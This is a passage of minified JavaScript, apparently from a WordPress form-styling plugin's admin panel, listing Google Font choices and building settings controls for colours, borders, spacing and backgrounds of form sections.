Dark",label:"Palanquin Dark"},{value:"Pangolin",label:"Pangolin"},{value:"Paprika",label:"Paprika"},{value:"Parisienne",label:"Parisienne"},{value:"Passero One",label:"Passero One"},{value:"Passion One",label:"Passion One"},{value:"Pathway Gothic One",label:"Pathway Gothic One"},{value:"Patrick Hand",label:"Patrick Hand"},{value:"Patrick Hand SC",label:"Patrick Hand SC"},{value:"Pattaya",label:"Pattaya"},{value:"Patua One",label:"Patua One"},{value:"Pavanam",label:"Pavanam"},{value:"Paytone One",label:"Paytone One"},{value:"Peddana",label:"Peddana"},{value:"Peralta",label:"Peralta"},{value:"Permanent Marker",label:"Permanent Marker"},{value:"Petit Formal Script",label:"Petit Formal Script"},{value:"Petrona",label:"Petrona"},{value:"Philosopher",label:"Philosopher"},{value:"Piedra",label:"Piedra"},{value:"Pinyon Script",label:"Pinyon Script"},{value:"Pirata One",label:"Pirata One"},{value:"Plaster",label:"Plaster"},{value:"Play",label:"Play"},{value:"Playball",label:"Playball"},{value:"Playfair Display",label:"Playfair Display"},{value:"Playfair Display SC",label:"Playfair Display SC"},{value:"Podkova",label:"Podkova"},{value:"Poiret One",label:"Poiret One"},{value:"Poller One",label:"Poller One"},{value:"Poly",label:"Poly"},{value:"Pompiere",label:"Pompiere"},{value:"Pontano Sans",label:"Pontano Sans"},{value:"Poppins",label:"Poppins"},{value:"Port Lligat Sans",label:"Port Lligat Sans"},{value:"Port Lligat Slab",label:"Port Lligat Slab"},{value:"Pragati Narrow",label:"Pragati Narrow"},{value:"Prata",label:"Prata"},{value:"Preahvihear",label:"Preahvihear"},{value:"Press Start 2P",label:"Press Start 2P"},{value:"Pridi",label:"Pridi"},{value:"Princess Sofia",label:"Princess Sofia"},{value:"Prociono",label:"Prociono"},{value:"Prompt",label:"Prompt"},{value:"Prosto One",label:"Prosto One"},{value:"Proza Libre",label:"Proza Libre"},{value:"Puritan",label:"Puritan"},{value:"Purple Purse",label:"Purple Purse"},{value:"Quando",label:"Quando"},{value:"Quantico",label:"Quantico"},{value:"Quattrocento",label:"Quattrocento"},{value:"Quattrocento Sans",label:"Quattrocento Sans"},{value:"Questrial",label:"Questrial"},{value:"Quicksand",label:"Quicksand"},{value:"Quintessential",label:"Quintessential"},{value:"Qwigley",label:"Qwigley"},{value:"Racing Sans One",label:"Racing Sans One"},{value:"Radley",label:"Radley"},{value:"Rajdhani",label:"Rajdhani"},{value:"Rakkas",label:"Rakkas"},{value:"Raleway",label:"Raleway"},{value:"Raleway Dots",label:"Raleway Dots"},{value:"Ramabhadra",label:"Ramabhadra"},{value:"Ramaraja",label:"Ramaraja"},{value:"Rambla",label:"Rambla"},{value:"Rammetto One",label:"Rammetto One"},{value:"Ranchers",label:"Ranchers"},{value:"Rancho",label:"Rancho"},{value:"Ranga",label:"Ranga"},{value:"Rasa",label:"Rasa"},{value:"Rationale",label:"Rationale"},{value:"Ravi Prakash",label:"Ravi Prakash"},{value:"Redressed",label:"Redressed"},{value:"Reem Kufi",label:"Reem Kufi"},{value:"Reenie Beanie",label:"Reenie Beanie"},{value:"Revalia",label:"Revalia"},{value:"Rhodium Libre",label:"Rhodium Libre"},{value:"Ribeye",label:"Ribeye"},{value:"Ribeye Marrow",label:"Ribeye Marrow"},{value:"Righteous",label:"Righteous"},{value:"Risque",label:"Risque"},{value:"Roboto",label:"Roboto"},{value:"Roboto Condensed",label:"Roboto Condensed"},{value:"Roboto Mono",label:"Roboto Mono"},{value:"Roboto Slab",label:"Roboto Slab"},{value:"Rochester",label:"Rochester"},{value:"Rock Salt",label:"Rock Salt"},{value:"Rokkitt",label:"Rokkitt"},{value:"Romanesco",label:"Romanesco"},{value:"Ropa Sans",label:"Ropa Sans"},{value:"Rosario",label:"Rosario"},{value:"Rosarivo",label:"Rosarivo"},{value:"Rouge Script",label:"Rouge Script"},{value:"Rozha One",label:"Rozha One"},{value:"Rubik",label:"Rubik"},{value:"Rubik Mono One",label:"Rubik Mono One"},{value:"Ruda",label:"Ruda"},{value:"Rufina",label:"Rufina"},{value:"Ruge Boogie",label:"Ruge Boogie"},{value:"Ruluko",label:"Ruluko"},{value:"Rum Raisin",label:"Rum Raisin"},{value:"Ruslan Display",label:"Ruslan Display"},{value:"Russo One",label:"Russo One"},{value:"Ruthie",label:"Ruthie"},{value:"Rye",label:"Rye"},{value:"Sacramento",label:"Sacramento"},{value:"Sahitya",label:"Sahitya"},{value:"Sail",label:"Sail"},{value:"Saira",label:"Saira"},{value:"Saira Condensed",label:"Saira Condensed"},{value:"Saira Extra Condensed",label:"Saira Extra Condensed"},{value:"Saira Semi Condensed",label:"Saira Semi Condensed"},{value:"Salsa",label:"Salsa"},{value:"Sanchez",label:"Sanchez"},{value:"Sancreek",label:"Sancreek"},{value:"Sansita",label:"Sansita"},{value:"Sarala",label:"Sarala"},{value:"Sarina",label:"Sarina"},{value:"Sarpanch",label:"Sarpanch"},{value:"Satisfy",label:"Satisfy"},{value:"Scada",label:"Scada"},{value:"Scheherazade",label:"Scheherazade"},{value:"Schoolbell",label:"Schoolbell"},{value:"Scope One",label:"Scope One"},{value:"Seaweed Script",label:"Seaweed Script"},{value:"Secular One",label:"Secular One"},{value:"Sedgwick Ave",label:"Sedgwick Ave"},{value:"Sedgwick Ave Display",label:"Sedgwick Ave Display"},{value:"Sevillana",label:"Sevillana"},{value:"Seymour One",label:"Seymour One"},{value:"Shadows Into Light",label:"Shadows Into Light"},{value:"Shadows Into Light Two",label:"Shadows Into Light Two"},{value:"Shanti",label:"Shanti"},{value:"Share",label:"Share"},{value:"Share Tech",label:"Share Tech"},{value:"Share Tech Mono",label:"Share Tech Mono"},{value:"Shojumaru",label:"Shojumaru"},{value:"Short Stack",label:"Short Stack"},{value:"Shrikhand",label:"Shrikhand"},{value:"Siemreap",label:"Siemreap"},{value:"Sigmar One",label:"Sigmar One"},{value:"Signika",label:"Signika"},{value:"Signika Negative",label:"Signika Negative"},{value:"Simonetta",label:"Simonetta"},{value:"Sintony",label:"Sintony"},{value:"Sirin Stencil",label:"Sirin Stencil"},{value:"Six Caps",label:"Six Caps"},{value:"Skranji",label:"Skranji"},{value:"Slabo 13px",label:"Slabo 13px"},{value:"Slabo 27px",label:"Slabo 27px"},{value:"Slackey",label:"Slackey"},{value:"Smokum",label:"Smokum"},{value:"Smythe",label:"Smythe"},{value:"Sniglet",label:"Sniglet"},{value:"Snippet",label:"Snippet"},{value:"Snowburst One",label:"Snowburst One"},{value:"Sofadi One",label:"Sofadi One"},{value:"Sofia",label:"Sofia"},{value:"Sonsie One",label:"Sonsie One"},{value:"Sorts Mill Goudy",label:"Sorts Mill Goudy"},{value:"Source Code Pro",label:"Source Code Pro"},{value:"Source Sans Pro",label:"Source Sans Pro"},{value:"Source Serif Pro",label:"Source Serif Pro"},{value:"Space Mono",label:"Space Mono"},{value:"Special Elite",label:"Special Elite"},{value:"Spectral",label:"Spectral"},{value:"Spicy Rice",label:"Spicy Rice"},{value:"Spinnaker",label:"Spinnaker"},{value:"Spirax",label:"Spirax"},{value:"Squada One",label:"Squada One"},{value:"Sree Krushnadevaraya",label:"Sree Krushnadevaraya"},{value:"Sriracha",label:"Sriracha"},{value:"Stalemate",label:"Stalemate"},{value:"Stalinist One",label:"Stalinist One"},{value:"Stardos Stencil",label:"Stardos Stencil"},{value:"Stint Ultra Condensed",label:"Stint Ultra Condensed"},{value:"Stint Ultra Expanded",label:"Stint Ultra Expanded"},{value:"Stoke",label:"Stoke"},{value:"Strait",label:"Strait"},{value:"Sue Ellen Francisco",label:"Sue Ellen Francisco"},{value:"Suez One",label:"Suez One"},{value:"Sumana",label:"Sumana"},{value:"Sunshiney",label:"Sunshiney"},{value:"Supermercado One",label:"Supermercado One"},{value:"Sura",label:"Sura"},{value:"Suranna",label:"Suranna"},{value:"Suravaram",label:"Suravaram"},{value:"Suwannaphum",label:"Suwannaphum"},{value:"Swanky and Moo Moo",label:"Swanky and Moo Moo"},{value:"Syncopate",label:"Syncopate"},{value:"Tangerine",label:"Tangerine"},{value:"Taprom",label:"Taprom"},{value:"Tauri",label:"Tauri"},{value:"Taviraj",label:"Taviraj"},{value:"Teko",label:"Teko"},{value:"Telex",label:"Telex"},{value:"Tenali Ramakrishna",label:"Tenali Ramakrishna"},{value:"Tenor Sans",label:"Tenor Sans"},{value:"Text Me One",label:"Text Me One"},{value:"The Girl Next Door",label:"The Girl Next Door"},{value:"Tienne",label:"Tienne"},{value:"Tillana",label:"Tillana"},{value:"Timmana",label:"Timmana"},{value:"Tinos",label:"Tinos"},{value:"Titan One",label:"Titan One"},{value:"Titillium Web",label:"Titillium Web"},{value:"Trade Winds",label:"Trade Winds"},{value:"Trirong",label:"Trirong"},{value:"Trocchi",label:"Trocchi"},{value:"Trochut",label:"Trochut"},{value:"Trykker",label:"Trykker"},{value:"Tulpen One",label:"Tulpen One"},{value:"Ubuntu",label:"Ubuntu"},{value:"Ubuntu Condensed",label:"Ubuntu Condensed"},{value:"Ubuntu Mono",label:"Ubuntu Mono"},{value:"Ultra",label:"Ultra"},{value:"Uncial Antiqua",label:"Uncial Antiqua"},{value:"Underdog",label:"Underdog"},{value:"Unica One",label:"Unica One"},{value:"UnifrakturCook",label:"UnifrakturCook"},{value:"UnifrakturMaguntia",label:"UnifrakturMaguntia"},{value:"Unkempt",label:"Unkempt"},{value:"Unlock",label:"Unlock"},{value:"Unna",label:"Unna"},{value:"VT323",label:"VT323"},{value:"Vampiro One",label:"Vampiro One"},{value:"Varela",label:"Varela"},{value:"Varela Round",label:"Varela Round"},{value:"Vast Shadow",label:"Vast Shadow"},{value:"Vesper Libre",label:"Vesper Libre"},{value:"Vibur",label:"Vibur"},{value:"Vidaloka",label:"Vidaloka"},{value:"Viga",label:"Viga"},{value:"Voces",label:"Voces"},{value:"Volkhov",label:"Volkhov"},{value:"Vollkorn",label:"Vollkorn"},{value:"Voltaire",label:"Voltaire"},{value:"Waiting for the Sunrise",label:"Waiting for the Sunrise"},{value:"Wallpoet",label:"Wallpoet"},{value:"Walter Turncoat",label:"Walter Turncoat"},{value:"Warnes",label:"Warnes"},{value:"Wellfleet",label:"Wellfleet"},{value:"Wendy One",label:"Wendy One"},{value:"Wire One",label:"Wire One"},{value:"Work Sans",label:"Work Sans"},{value:"Yanone Kaffeesatz",label:"Yanone Kaffeesatz"},{value:"Yantramanav",label:"Yantramanav"},{value:"Yatra One",label:"Yatra One"},{value:"Yellowtail",label:"Yellowtail"},{value:"Yeseva One",label:"Yeseva One"},{value:"Yesteryear",label:"Yesteryear"},{value:"Yrsa",label:"Yrsa"},{value:"Zeyada",label:"Zeyada"},{value:"Zilla Slab",label:"Zilla Slab"},{value:"Zilla Slab Highlight",label:"Zilla Slab Highlight"}],g=a=>{const i=a.panelData[a.sectionId];return(0,t.useEffect)((()=>{let e=document.getElementById("google-font-link");i.font&&(e||(e=document.createElement("link"),e.rel="stylesheet",e.id="google-font-link",document.head.appendChild(e)),e.href=`https://fonts.googleapis.com/css2?family=${i.font.replaceAll(" ","+")}&display=swap`)}),[a.panelData[a.sectionId][a.settingId]]),(0,e.createElement)(n.ComboboxControl,{label:"Font Family",options:f,onChange:e=>(e=>{let t=(0,l.cloneDeep)(a.panelData);t[a.sectionId][a.settingId]=e,a.setHasUnSavedChanges(!0),a.setPanelData(t)})(e),value:i.font,default:{value:"Default",label:"Default"}})},v=window.wp.mediaUtils,b=t=>{const a=t.panelData[t.sectionId],i=(e,a)=>{let n=(0,l.cloneDeep)(t.panelData);"background-type"===a&&(n[t.sectionId]["gradient-color"]=null,n[t.sectionId]["background-image"]="",n[t.sectionId]["background-color"]=""),n[t.sectionId][a]=e,t.setHasUnSavedChanges(!0),t.setPanelData(n)};return(0,e.createElement)(e.Fragment,null,(()=>{const l=(0,e.createElement)("div",{className:"sfwf-setting-field sfwf-spacing-control"},(0,e.createElement)(n.RadioControl,{label:"Background Type",onChange:e=>i(e,"background-type"),selected:a["background-type"],className:"sfwf-inline-radio-control",options:[{label:"Color",value:"color"},{label:"Image",value:"image"},{label:"Gradient",value:"gradient"}]}));let r,s,c="";return"color"===a["background-type"]&&(r=(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(o,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:"background-color",label:"Background Color",hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}))),"image"===a["background-type"]&&(s=(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(v.MediaUpload,{onSelect:e=>(e=>{i(e.url,"background-image"),t.setHasUnSavedChanges(!0)})(e),type:"image",render:({open:t})=>(0,e.createElement)(n.Button,{onClick:t,variant:"secondary"},"Upload Background Image")})),""!==a["background-image"]&&(s=(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)("label",{className:"sfwf-sidebar-custom-label"},"Background Image"),(0,e.createElement)("div",{className:"sfwf-uploaded-img"},(0,e.createElement)("img",{src:a["background-image"],style:{maxWidth:"200px"}})),(0,e.createElement)("div",{className:"sfwf-uploaded-img-actin-btns",style:{marginTop:"10px"}},(0,e.createElement)(n.Button,{variant:"primary",onClick:()=>i("",["background-image"]),isDestructive:!0},"Remove Image"))))),"gradient"===a["background-type"]&&(c=(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(n.GradientPicker,{value:a["gradient-color"],onChange:e=>i(e,"gradient-color")}))),(0,e.createElement)(e.Fragment,null,l,r,s,c)})())},h=t=>(0,e.createElement)(e.Fragment,null,t.settings.map(((a,n)=>{switch(a.type){case"color":return(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(o,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"checkbox":return(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(d,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"responsive":return(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(p,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"alignment":return(0,e.createElement)("div",{className:"sfwf-setting-field sfwfcustom-btn-group"},(0,e.createElement)(u,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"fontStyle":return(0,e.createElement)("div",{className:"sfwf-setting-field sfwfcustom-btn-group"},(0,e.createElement)(m,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"border":return(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(r,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"unit":return(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(c,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"spacing":return(0,e.createElement)("div",{className:"sfwf-setting-field sfwfspacing-control"},(0,e.createElement)(s,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"fontFamily":return(0,e.createElement)("div",{className:"sfwf-setting-field sfwfspacing-control"},(0,e.createElement)(g,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}));case"background":return(0,e.createElement)(b,{panelData:t.panelData,setPanelData:t.setPanelData,sectionId:t.sectionId,settingId:a.id,label:a.label,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges});default:return""}}))),S=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"form-wrapper",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"fontFamily",id:"font",label:"Font Family"},{type:"background",id:["background-type","background-color","background-image"],label:"Background Type"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),y=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"form-header",settings:[{type:"color",id:"background-color",label:"Background Color"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),w=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"field-labels",settings:[{type:"checkbox",id:"display",label:"Hide Labels"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"spacing",id:"padding",label:"Padding"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),C=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"field-descriptions",settings:[{type:"alignment",id:"text-align",label:"Font Alignment"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"spacing",id:"paddbing",label:"Padding"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),E=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"text-fields",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"responsive",id:["height","height-tab","height-phone"],label:"Height"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"color",id:"font-color",label:"Font Color"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"color",id:"background-color",label:"Background Color"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),k=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"dropdown-fields",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"responsive",id:["height","height-tab","height-phone"],label:"Height"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"color",id:"font-color",label:"Font Color"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"color",id:"background-color",label:"Background Color"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),A=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"radio-inputs",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"spacing",id:"padding",label:"Padding"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),I=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"checkbox-inputs",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"spacing",id:"padding",label:"Padding"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),P=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"paragraph-textarea",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"color",id:"background-color",label:"Background Color"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),_=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"submit-button",settings:[{type:"alignment",id:"text-align",label:"Alignment"},{type:"color",id:"button-color",label:"Background Color"},{type:"color",id:"hover-color",label:"Hover Background Color"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"color",id:"font-hover-color",label:"Hover Font Color"},{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"responsive",id:["height","height-tab","height-phone"],label:"Height"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),T=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"confirmation-message",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"alignment",id:"text-align",label:"Font Alignment"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Line Height"},{type:"color",id:"font-color",label:"Font Color"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"color",id:"background-color",label:"Background Color"},{type:"spacing",id:"padding",label:"Padding"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),x=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"error-message",settings:[{type:"responsive",id:["max-width","max-width-tab","max-width-phone"],label:"Width"},{type:"fontStyle",id:"font-style",label:"Font Style"},{type:"alignment",id:"text-align",label:"Font Alignment"},{type:"color",id:"background-color",label:"Background Color"},{type:"spacing",id:"padding",label:"Padding"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),U=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"form-title",settings:[{type:"color",id:"font-color",label:"Title Font Color"},{type:"fontStyle",id:"font-style",label:"Title Font Style"},{type:"alignment",id:"text-align",label:"Title Font Alignment"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Title Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Title Line Height"},{type:"spacing",id:"padding",label:"Title Padding"},{type:"spacing",id:"margin",label:"Title Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"form-description",settings:[{type:"color",id:"font-color",label:"Description Font Color"},{type:"fontStyle",id:"font-style",label:"Description Font Style"},{type:"alignment",id:"text-align",label:"Description Font Alignment"},{type:"responsive",id:["font-size","font-size-tab","font-size-phone"],label:"Description Font Size"},{type:"responsive",id:["line-height","line-height-tab","line-height-phone"],label:"Description Line Height"},{type:"spacing",id:"padding",label:"Description Padding"},{type:"spacing",id:"margin",label:"Description Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),M=a=>{const[i,o]=(0,t.useState)({}),[r,s]=(0,t.useState)(-1),[c,d]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{(async()=>{try{const e=new FormData;e.append("action","sfwf_get_forms_with_styling"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce);const t=await fetch(window.ajaxurl,{method:"POST",body:e});if(!t.ok)throw new Error("Failed to fetch styler settings");const a=await t.json();a.success&&o(a.data)}catch(e){console.error("Error fetching styler settings:",e)}})()}),[]),(0,e.createElement)("div",{className:"sfwf-sidebar-settings"},(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(n.CheckboxControl,{label:'Enable This Option If Your Theme Is Overwriting "Styles For Wpforms Styling"',checked:a.generalSettings["force-style"],onChange:e=>((e,t)=>{const n=(0,l.cloneDeep)(a.generalSettings);n["force-style"]=e,a.setHasUnSavedChanges(!0),a.setGeneralSettings(n)})(e)})),(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(n.TextareaControl,{label:"Custom CSS",help:"Enter custom css",value:a.stylerSettings["general-settings"]["custom-css"],onChange:e=>(e=>{const t=(0,l.cloneDeep)(a.stylerSettings);t["general-settings"]["custom-css"]=e,a.setHasUnSavedChanges(!0),a.setStylerSettings(t)})(e)})),(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)("label",{class:"sfwf-sidebar-custom-label"},"Delete Form Styles"),(0,l.isEmpty)(i)&&(0,e.createElement)("div",null," ",(0,e.createElement)(n.Spinner,null)," "),!(0,l.isEmpty)(i)&&(0,e.createElement)(n.SelectControl,{value:r,options:i,onChange:e=>s(e)})),-1!=r&&(0,e.createElement)("div",{className:"sfwf-setting-field"},(0,e.createElement)(n.Button,{variant:"primary",onClick:async()=>{d(!0);try{const e=new FormData;e.append("action","sfwf_delete_forms_styles"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce),e.append("formId",r);const t=await fetch(window.ajaxurl,{method:"POST",body:e});if(!t.ok)throw new Error("Failed to fetch styler settings");const n=await t.json();n.success&&(o(n.data),await a.fetchStylerSettings())}catch(e){console.error("Error fetching styler settings:",e)}d(!1)}},"Delete Styles",c&&(0,e.createElement)(n.Spinner,null))))},F=t=>(0,e.createElement)("div",{className:"sfwf-sidebar-settings"}," ",(0,e.createElement)(h,{panelData:t.stylerSettings,setPanelData:t.setStylerSettings,sectionId:"layout-fields",settings:[{type:"color",id:"background-color",label:"Background Type"},{type:"border",id:["border-size","border-type","border-color"],label:"Border"},{type:"unit",id:"border-radius",label:"Border Radius"},{type:"spacing",id:"padding",label:"Padding"},{type:"spacing",id:"margin",label:"Margin"}],hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges})),O=t=>{const a=[{label:"General Settings",id:"generalSettings"},{label:"Form Wrapper",id:"formWrapper"},{label:"Form Header ",id:"formHeader"},{label:"Form Title & Description",id:"formTitleDescription"},{label:"Field Labels",id:"fieldLabels"},{label:"Field Description",id:"fieldDescriptions"},{label:"Text Fields",id:"textFields"},{label:"Dropdown 